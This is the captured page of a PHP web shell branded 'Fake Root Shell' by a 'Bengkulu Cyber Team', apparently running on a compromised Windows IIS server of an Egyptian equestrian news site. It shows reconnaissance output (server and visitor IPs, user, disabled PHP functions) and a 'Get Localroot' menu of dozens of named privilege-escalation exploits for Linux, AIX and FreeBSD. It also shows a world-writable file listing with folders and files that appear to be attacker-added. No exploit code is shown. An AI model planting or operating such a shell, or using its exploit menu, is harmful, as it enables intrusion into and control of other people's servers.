./Fake Root Shell

h:/root/home/zanssequicare-001/www/zanssht/news/ [ drwxrwxrwx ]

System: Windows NT WIN5232 10.0 build 20348 (Windows Server 2016) AMD64
Software: Microsoft-IIS/10.0
PHP Version: 7.4.30 PHP Os: WINNT
Server IP: 205.144.171.232
Your IP: 18.224.67.84
User: zanssequicare-001 (0) | Group: ? (0)
Safe Mode: OFF
MYSQL: OFF | PERL: OFF | PYTHON: OFF | WGET: OFF | CURL: ON | GCC: OFF | PKEXEC: OFF
Disable Function:
exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source

Get Localroot
Linux
CVE N/A | Sudo prompt overflow in v1.5.7 to 1.6.5p2
CVE-2003-0961 | Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation
CVE-2003-0127 | Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation
CVE-2003-0961 | Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation (2)
CVE-2004-0077 | Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation
CVE-2004-1235 | Linux Kernel 2.4.29-rc2 - 'uselib()' Local Privilege Escalation (1)
CVE N/A | Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation
CVE-2005-0736 | Linux Kernel 2.6.9 < 2.6.11 (RHEL 4) - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation
CVE-2005-1263 | Linux Kernel 2.2.x/2.3.x/2.4.x/2.5.x/2.6.x - ELF Core Dump Local Buffer Overflow
CVE-2006-2451 | Linux Kernel 2.6.13 < 2.6.17.4 - 'logrotate prctl()' Local Privilege Escalation
CVE-2006-3626 | Linux Kernel 2.6.17.4 - 'proc' Local Privilege Escalation
CVE N/A | Compress v4.2.4 local test exploit
CVE N/A | Local GNU Awk 3.1.0-x proof of concept exploit
EDB-ID-4756 | Linux Kernel < 2.6.11.5 Bluetooth Stack Localroot Exploit
CVE-2008-0600 | Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)
CVE-2008-0900 | Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2)
CVE-2008-4210 | Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation
CVE-2009-1185 | Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1)
CVE-2009-1337 | Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation CVE-2009-2692 | Linux Kernel 2.x (RedHat) - 'sock_sendpage()' Ring0 Privilege Escalation (1)
CVE-2009-2698 | Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
CVE-2009-3547 | Linux 2.6.x fs/pipe.c Local Privilege Escalation
CVE-2010-1146 | ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation
CVE-2010-2959 | Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation
CVE-2010-3081 | Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation
CVE-2010-3301 | Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation
CVE-2010-3437 | Linux Kernel < 2.6.36-rc6 (RedHat / Ubuntu 10.04) - 'pktcdvd' Kernel Memory Disclosure
CVE-2010-3904 | Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation
CVE-2010-4073 | Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation
CVE-2010-4258 | Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation
CVE-2010-4347 | Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation CVE-2011-1021 | Linux Kernel < 2.6.37-rc2 - 'ACPI custom_method' Local Privilege Escalation
CVE-2011-2777 | Acpid 1:
2.0.10-1ubuntu2 (Ubuntu 11.04/11.10) - Boundary Crossing Privilege Escalation

CVE-2011-1485 | pkexec - Race Condition Privilege Escalation
EDB-ID-18071 | Calibre E-Book Reader - Local Privilege Escalation
EDB-ID-17391 | Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation
EDB-ID-15944 | Linux Kernel < 2.6.34 (Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Privilege Escalation (2)
CVE-2012-0056 | Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation
CVE-2012-3524 | libdbus - 'DBUS_SYSTEM_BUS_ADDRESS' Local Privilege Escalation
CVE-2012-0809 | sudo 1.8.0 < 1.8.3p1 - Format String
CVE-2013-0268 | Linux Kernel 3.7.6 (RedHat x86/x64) - 'MSR' Driver Privilege Escalation
CVE-2013-1763 | Linux Kernel 3.3 < 3.8 (Ubuntu / Fedora 18) - 'sock_diag_handlers()' Local Privilege Escalation (3)
CVE-2013-1858 | Linux Kernel 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation
CVE-2013-2094 | Linux Kernel < 3.8.9 (x86-64) - 'perf_swevent_init' Local Privilege Escalation (2)
CVE-2014-0038 | Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CONFIG_X86_X32' Arbitrary Write (2)
CVE-2014-0196 | Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privilege Escalation
CVE-2014-3153 | Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Escalation
CVE-2014-4014 | Linux Kernel 3.13 - SGID Privilege Escalation
CVE-2014-4699 | Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation
CVE-2014-5284 | OSSEC 2.8 - 'hosts.deny' Local Privilege Escalation CVE-2015-1328 | Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
CVE-2015-7547 | glibc - 'getaddrinfo' Stack Buffer Overflow (PoC) CVE-2016-0728 | Linux Kernel 4.4.1 - REFCOUNT Overflow Use-After-Free in Keyrings Local Privilege Escalation (1)
CVE-2016-2384 | Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Privilege Escalation
CVE-2016-5195 | Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)
CVE-2016-8655 | Linux 4.4.0 < 4.4.0-53 - 'AF_PACKET chocobo_root' Local Privilege Escalation (Metasploit)
CVE-2016-9793 | Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege Escalation
CVE-2017-5123 | Linux Kernel 4.14.0-rc4+ - 'waitid()' Local Privilege Escalation
CVE-2017-6074 | Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation
CVE-2017-7308 | Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Local Privilege Escalation
CVE-2017-7494 | Samba 3.5.0 - Remote Code Execution
CVE-2017-7533 | Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation
CVE-2017-16939 | Linux Kernel (Ubuntu 17.04) - 'XFRM' Local Privilege Escalation
CVE-2017-16995 | Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
CVE-2017-1000112 | Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)
CVE-2017-1000367 | Sudo 1.8.20 - 'get_process_ttyname()' Local Privilege Escalation
CVE-2018-1000001 | glibc < 2.26 - 'getcwd()' Local Privilege Escalation
CVE-2019-7304 | snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (1)
CVE-2019-13272 | Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation
IBM AIX
CVE-2013-4011 - IBM AIX 6.1 / 7.1 Localroot Privilege Escalation
FreeBSD
EDB-ID-1311 | FreeBSD 4.x / < 5.4 - 'master.passwd' Disclosure
CVE-2008-3531 | FreeBSD 7.0/7.1 - 'vfs.usermount' Local Privilege Escalation
CVE-2008-5736 | FreeBSD 6.4 - Netgraph Privilege Escalation
CVE-2009-3527 | FreeBSD 6.4 - 'pipeclose()'/'knlist_cleardel()' Race Condition
CVE-2009-4146 | FreeBSD 8.0 Run-Time Link-Editor (RTLD) - Local Privilege Escalation
EDB-ID-9860 | FreeBSD 7.2 - VFS/devfs Race Condition
CVE-2010-2020 | FreeBSD 8.0/7.3/7.2 - 'nfs_mount()' Local Privilege Escalation
CVE-2010-2693 | FreeBSD - 'mbufs()' sendfile Cache Poisoning Privilege Escalation
CVE-2010-4210 | FreeBSD - 'pseudofs' Null Pointer Dereference Privilege Escalation
CVE-2011-4062 | FreeBSD - UIPC socket heap Overflow (PoC)
CVE-2011-4122 | OpenPAM - 'pam_start()' Local Privilege Escalation
CVE-2011-4862 | TelnetD encrypt_keyid - Function Pointer Overwrite
CVE-2012-0217 | FreeBSD 8.3 - 9.0 amd64 Privilege Escalation
EDB-ID-28718 | FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation
CVE-2013-2171 | FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation
Name Type Last Edit Size Owner/Group Permission Action
..
fekrutrooting dir 2024-06-30 4:40 - 0/0 drwxrwxrwx
shizuorooting dir 2024-06-29 13:56 - 0/0 drwxrwxrwx
2009-10-14GCT-Final.pdf file 2022-11-24 8:55 224.58 KB 0/0 -rw-rw-rw-
3.28.13_Start_list_Big_to...-. file 2022-11-24 8:55 29.75 KB 0/0 -rw-rw-rw-
3.28.13_Start_list_Medium...-. file 2022-11-24 8:55 30.98 KB 0/0 -rw-rw-rw-
3.28.13_Start_list_Small_...-. file 2022-11-24 8:55 27.71 KB 0/0 -rw-rw-rw-
CSI3 Riyadh Updated Sched...-. file 2022-11-24 8:55 605.33 KB 0/0 -rw-rw-rw-
CSI5 Riyadh Updated Sched...-. file 2022-11-24 8:55 552.47 KB 0/0 -rw-rw-rw-
CSI_Cairo_Schedule_27-28_...-. file 2022-11-24 8:55 488 KB 0/0 -rw-rw-rw-
CSI_SHARM_EL_SHEIKH_RESUL...-. file 2022-11-24 8:55 42.58 KB 0/0 -rw-rw-rw-
Competition_7_Syria_FEI_W...-. file 2022-11-24 8:55 27.45 KB 0/0 -rw-rw-rw-
FEI_World_Cup_Jumping_200...-. file 2022-11-24 8:55 24.04 KB 0/0 -rw-rw-rw-
Final_Results_for_CSI_Cai...-. file 2022-11-24 8:55 121.22 KB 0/0 -rw-rw-rw-
GENERAL_CONDITIONS_CSI_1_...-. file 2022-11-24 8:55 129.69 KB 0/0 -rw-rw-rw-
Henry_Dallal's_Horse_Warr...-. file 2022-11-24 8:55 53.42 KB 0/0 -rw-rw-rw-
Horse_Fair_China_2010_HOR...-. file 2022-11-24 8:56 1.59 MB 0/0 -rw-rw-rw-
_CSI_Cairo_Schedule_27-28...-. file 2022-11-24 9:00 183.7 KB 0/0 -rw-rw-rw-
_GENERAL_CONDITIONS_CSI_1...-. file 2022-11-24 9:00 129.69 KB 0/0 -rw-rw-rw-
__CSI_Cairo_Schedule_27-2...-. file 2022-11-24 9:00 495.32 KB 0/0 -rw-rw-rw-
___CSI_Cairo_Schedule_27-...-. file 2022-11-24 9:00 488.82 KB 0/0 -rw-rw-rw-
adminer.php file 2024-06-25 9:25 0 B 0/0 -rw-rw-rw-
detect.php file 2024-06-26 3:56 32.91 KB 0/0 -rw-rw-rw-
horse_times_egypt_215_1.p...-. file 2022-11-24 8:55 16.7 KB 0/0 -rw-rw-rw-
horse_times_egypt_215_10....-. file 2022-11-24 8:55 16.64 KB 0/0 -rw-rw-rw-
horse_times_egypt_215_11....-. file 2022-11-24 8:55 16.55 KB 0/0 -rw-rw-rw-
horse_times_egypt_215_2.p...-. file 2022-11-24 8:55 16.67 KB 0/0 -rw-rw-rw-
horse_times_egypt_215_3.p...-. file 2022-11-24 8:55 16.61 KB 0/0 -rw-rw-rw-
horse_times_egypt_215_4.p...-. file 2022-11-24 8:55 16.65 KB 0/0 -rw-rw-rw-
horse_times_egypt_215_5.p...-. file 2022-11-24 8:55 16.53 KB 0/0 -rw-rw-rw-
horse_times_egypt_215_6.p...-. file 2022-11-24 8:56 16.59 KB 0/0 -rw-rw-rw-
horse_times_egypt_215_7.p...-. file 2022-11-24 8:56 16.65 KB 0/0 -rw-rw-rw-
horse_times_egypt_215_8.p...-. file 2022-11-24 8:56 16.71 KB 0/0 -rw-rw-rw-
horse_times_egypt_215_9.p...-. file 2022-11-24 8:56 16.59 KB 0/0 -rw-rw-rw-
horse_times_egypt_216_1.p...-. file 2022-11-24 8:56 18.92 KB 0/0 -rw-rw-rw-
horse_times_egypt_216_2.p...-. file 2022-11-24 8:56 25.86 KB 0/0 -rw-rw-rw-
horse_times_egypt_217_1.p...-. file 2022-11-24 8:56 16.95 KB 0/0 -rw-rw-rw-
horse_times_egypt_217_2.p...-. file 2022-11-24 8:56 16.95 KB 0/0 -rw-rw-rw-
horse_times_egypt_217_3.p...-. file 2022-11-24 8:56 16.87 KB 0/0 -rw-rw-rw-
horse_times_egypt_217_4.p...-. file 2022-11-24 8:56 16.87 KB 0/0 -rw-rw-rw-
horse_times_egypt_217_5.p...-. file 2022-11-24 8:56 17.06 KB 0/0 -rw-rw-rw-
horse_times_egypt_217_6.p...-. file 2022-11-24 8:56 16.89 KB 0/0 -rw-rw-rw-
horse_times_egypt_217_7.p...-. file 2022-11-24 8:56 65.29 KB 0/0 -rw-rw-rw-
horse_times_egypt_217_8.p...-. file 2022-11-24 8:56 9.27 KB 0/0 -rw-rw-rw-
horse_times_egypt_218_1.p...-. file 2022-11-24 8:56 19.37 KB 0/0 -rw-rw-rw-
horse_times_egypt_218_10....-. file 2022-11-24 8:56 28.27 KB 0/0 -rw-rw-rw-
horse_times_egypt_218_2.p...-. file 2022-11-24 8:56 19.28 KB 0/0 -rw-rw-rw-
horse_times_egypt_218_3.p...-. file 2022-11-24 8:56 18.72 KB 0/0 -rw-rw-rw-
horse_times_egypt_218_4.p...-. file 2022-11-24 8:56 19.18 KB 0/0 -rw-rw-rw-
horse_times_egypt_218_5.p...-. file 2022-11-24 8:56 19.29 KB 0/0 -rw-rw-rw-
horse_times_egypt_218_6.p...-. file 2022-11-24 8:56 19.38 KB 0/0 -rw-rw-rw-
horse_times_egypt_218_7.p...-. file 2022-11-24 8:56 28.53 KB 0/0 -rw-rw-rw-
horse_times_egypt_218_8.p...-. file 2022-11-24 8:56 25.24 KB 0/0 -rw-rw-rw-
horse_times_egypt_218_9.p...-. file 2022-11-24 8:56 8.63 KB 0/0 -rw-rw-rw-
horse_times_egypt_223_1.p...-. file 2022-11-24 8:56 377.79 KB 0/0 -rw-rw-rw-
horse_times_egypt_223_2.p...-. file 2022-11-24 8:56 501.08 KB 0/0 -rw-rw-rw-
horse_times_egypt_223_3.p...-. file 2022-11-24 8:56 341.87 KB 0/0 -rw-rw-rw-
horse_times_egypt_226_1.p...-. file 2022-11-24 8:56 205.4 KB 0/0 -rw-rw-rw-
horse_times_egypt_226_2.p...-. file 2022-11-24 8:56 322.35 KB 0/0 -rw-rw-rw-
horse_times_egypt_226_3.p...-. file 2022-11-24 8:56 493.97 KB 0/0 -rw-rw-rw-
horse_times_egypt_226_4.p...-. file 2022-11-24 8:56 360.63 KB 0/0 -rw-rw-rw-
horse_times_egypt_234_1.p...-. file 2022-11-24 8:56 312.13 KB 0/0 -rw-rw-rw-
horse_times_egypt_234_2.p...-. file 2022-11-24 8:56 274.55 KB 0/0 -rw-rw-rw-
horse_times_egypt_234_3.p...-. file 2022-11-24 8:56 340.88 KB 0/0 -rw-rw-rw-
horse_times_egypt_234_4.p...-. file 2022-11-24 8:56 313.87 KB 0/0 -rw-rw-rw-
horse_times_egypt_234_5.p...-. file 2022-11-24 8:56 289.72 KB 0/0 -rw-rw-rw-
horse_times_egypt_234_6.p...-. file 2022-11-24 8:56 329.36 KB 0/0 -rw-rw-rw-
horse_times_egypt_236_1.P...-. file 2022-11-24 8:56 760.3 KB 0/0 -rw-rw-rw-
horse_times_egypt_238_1.p...-. file 2022-11-24 8:56 253 KB 0/0 -rw-rw-rw-
horse_times_egypt_244_1.p...-. file 2022-11-24 8:56 343.19 KB 0/0 -rw-rw-rw-
horse_times_egypt_245_1.p...-. file 2022-11-24 8:56 448.05 KB 0/0 -rw-rw-rw-
horse_times_egypt_248_1.p...-. file 2022-11-24 8:56 519.79 KB 0/0 -rw-rw-rw-
horse_times_egypt_250_1.p...-. file 2022-11-24 8:56 520.02 KB 0/0 -rw-rw-rw-
horse_times_egypt_263_1.p...-. file 2022-11-24 8:56 477.54 KB 0/0 -rw-rw-rw-
horse_times_egypt_269_1.p...-. file 2022-11-24 8:58 11.06 MB 0/0 -rw-rw-rw-
horse_times_egypt_269_2.p...-. file 2022-11-24 8:56 426.72 KB 0/0 -rw-rw-rw-
horse_times_egypt_279_1.p...-. file 2022-11-24 8:56 95.17 KB 0/0 -rw-rw-rw-
horse_times_egypt_279_2.p...-. file 2022-11-24 8:56 72.67 KB 0/0 -rw-rw-rw-
horse_times_egypt_302_1.p...-. file 2022-11-24 8:59 16.95 MB 0/0 -rw-rw-rw-
horse_times_egypt_302_2.p...-. file 2022-11-24 8:58 11.77 MB 0/0 -rw-rw-rw-
horse_times_egypt_334_1.p...-. file 2022-11-24 8:56 1.67 MB 0/0 -rw-rw-rw-
horse_times_egypt_335_1.p...-. file 2022-11-24 8:56 183.85 KB 0/0 -rw-rw-rw-
horse_times_egypt_342_1.p...-. file 2022-11-24 8:58 8.35 MB 0/0 -rw-rw-rw-
horse_times_egypt_347_1.p...-. file 2022-11-24 8:58 50.07 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_10....-. file 2022-11-24 8:58 19.02 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_11....-. file 2022-11-24 8:58 18.93 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_12....-. file 2022-11-24 8:58 18.88 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_13....-. file 2022-11-24 8:58 43.49 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_14....-. file 2022-11-24 8:58 26.82 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_15....-. file 2022-11-24 8:58 27.07 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_16....-. file 2022-11-24 8:58 26.95 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_17....-. file 2022-11-24 8:58 27.09 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_18....-. file 2022-11-24 8:58 27.03 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_19....-. file 2022-11-24 8:58 27 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_2.p...-. file 2022-11-24 8:58 18.82 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_20....-. file 2022-11-24 8:58 27.01 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_21....-. file 2022-11-24 8:58 27.06 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_22....-. file 2022-11-24 8:58 43.22 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_23....-. file 2022-11-24 8:58 27.14 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_24....-. file 2022-11-24 8:58 27.05 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_3.p...-. file 2022-11-24 8:58 18.8 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_4.p...-. file 2022-11-24 8:58 19.17 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_5.p...-. file 2022-11-24 8:58 17.71 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_6.p...-. file 2022-11-24 8:58 19.11 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_7.p...-. file 2022-11-24 8:58 18.88 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_8.p...-. file 2022-11-24 8:58 19.01 KB 0/0 -rw-rw-rw-
horse_times_egypt_347_9.p...-. file 2022-11-24 8:58 18.93 KB 0/0 -rw-rw-rw-
horse_times_egypt_355_1.p...-. file 2022-11-24 8:59 435.22 KB 0/0 -rw-rw-rw-
horse_times_egypt_364_1.p...-. file 2022-11-24 8:59 627.08 KB 0/0 -rw-rw-rw-
horse_times_egypt_364_2.p...-. file 2022-11-24 8:59 1.24 MB 0/0 -rw-rw-rw-
horse_times_egypt_364_3.p...-. file 2022-11-24 8:59 1.18 MB 0/0 -rw-rw-rw-
horse_times_egypt_364_4.p...-. file 2022-11-24 8:59 1.19 MB 0/0 -rw-rw-rw-
horse_times_egypt_369_1.p...-. file 2022-11-24 9:00 6.62 MB 0/0 -rw-rw-rw-
horse_times_egypt_535_1.p...-. file 2022-11-24 9:00 4.39 MB 0/0 -rw-rw-rw-
horse_times_egypt_535_2.p...-. file 2022-11-24 9:00 4.39 MB 0/0 -rw-rw-rw-
horse_times_egypt_546_1.p...-. file 2022-11-24 8:59 155.69 KB 0/0 -rw-rw-rw-
horse_times_egypt_552_1.p...-. file 2022-11-24 8:59 156.85 KB 0/0 -rw-rw-rw-
horse_times_egypt_553_1.p...-. file 2022-11-24 8:59 316.74 KB 0/0 -rw-rw-rw-
horse_times_egypt_553_2.p...-. file 2022-11-24 8:59 177.08 KB 0/0 -rw-rw-rw-
horse_times_egypt_553_3.p...-. file 2022-11-24 8:59 254.5 KB 0/0 -rw-rw-rw-
horse_times_egypt_553_4.p...-. file 2022-11-24 8:59 303.86 KB 0/0 -rw-rw-rw-
horse_times_egypt_553_5.p...-. file 2022-11-24 8:59 255.18 KB 0/0 -rw-rw-rw-
horse_times_egypt_553_6.p...-. file 2022-11-24 9:00 328.49 KB 0/0 -rw-rw-rw-
horse_times_egypt_553_7.p...-. file 2022-11-24 9:00 356.63 KB 0/0 -rw-rw-rw-
horse_times_egypt_553_8.p...-. file 2022-11-24 9:00 386.54 KB 0/0 -rw-rw-rw-
horse_times_egypt_584_1.p...-. file 2024-06-24 8:04 1.45 KB 0/0 -rw-rw-rw-
horse_times_egypt_785_1.p...-. file 2022-11-24 9:00 297.03 KB 0/0 -rw-rw-rw-
horse_times_egypt_804_1.p...-. file 2022-11-24 9:00 474.24 KB 0/0 -rw-rw-rw-
horse_times_egypt_804_2.p...-. file 2022-11-24 9:00 474.24 KB 0/0 -rw-rw-rw-
start_list_big_tour_wedne...-. file 2022-11-24 9:00 22.47 KB 0/0 -rw-rw-rw-
start_list_medium_tour_we...-. file 2022-11-24 9:00 29.67 KB 0/0 -rw-rw-rw-
start_list_small_tour_wed...-. file 2022-11-24 9:00 21.26 KB 0/0 -rw-rw-rw-

© Bengkulu Cyber Team | ./Fake Root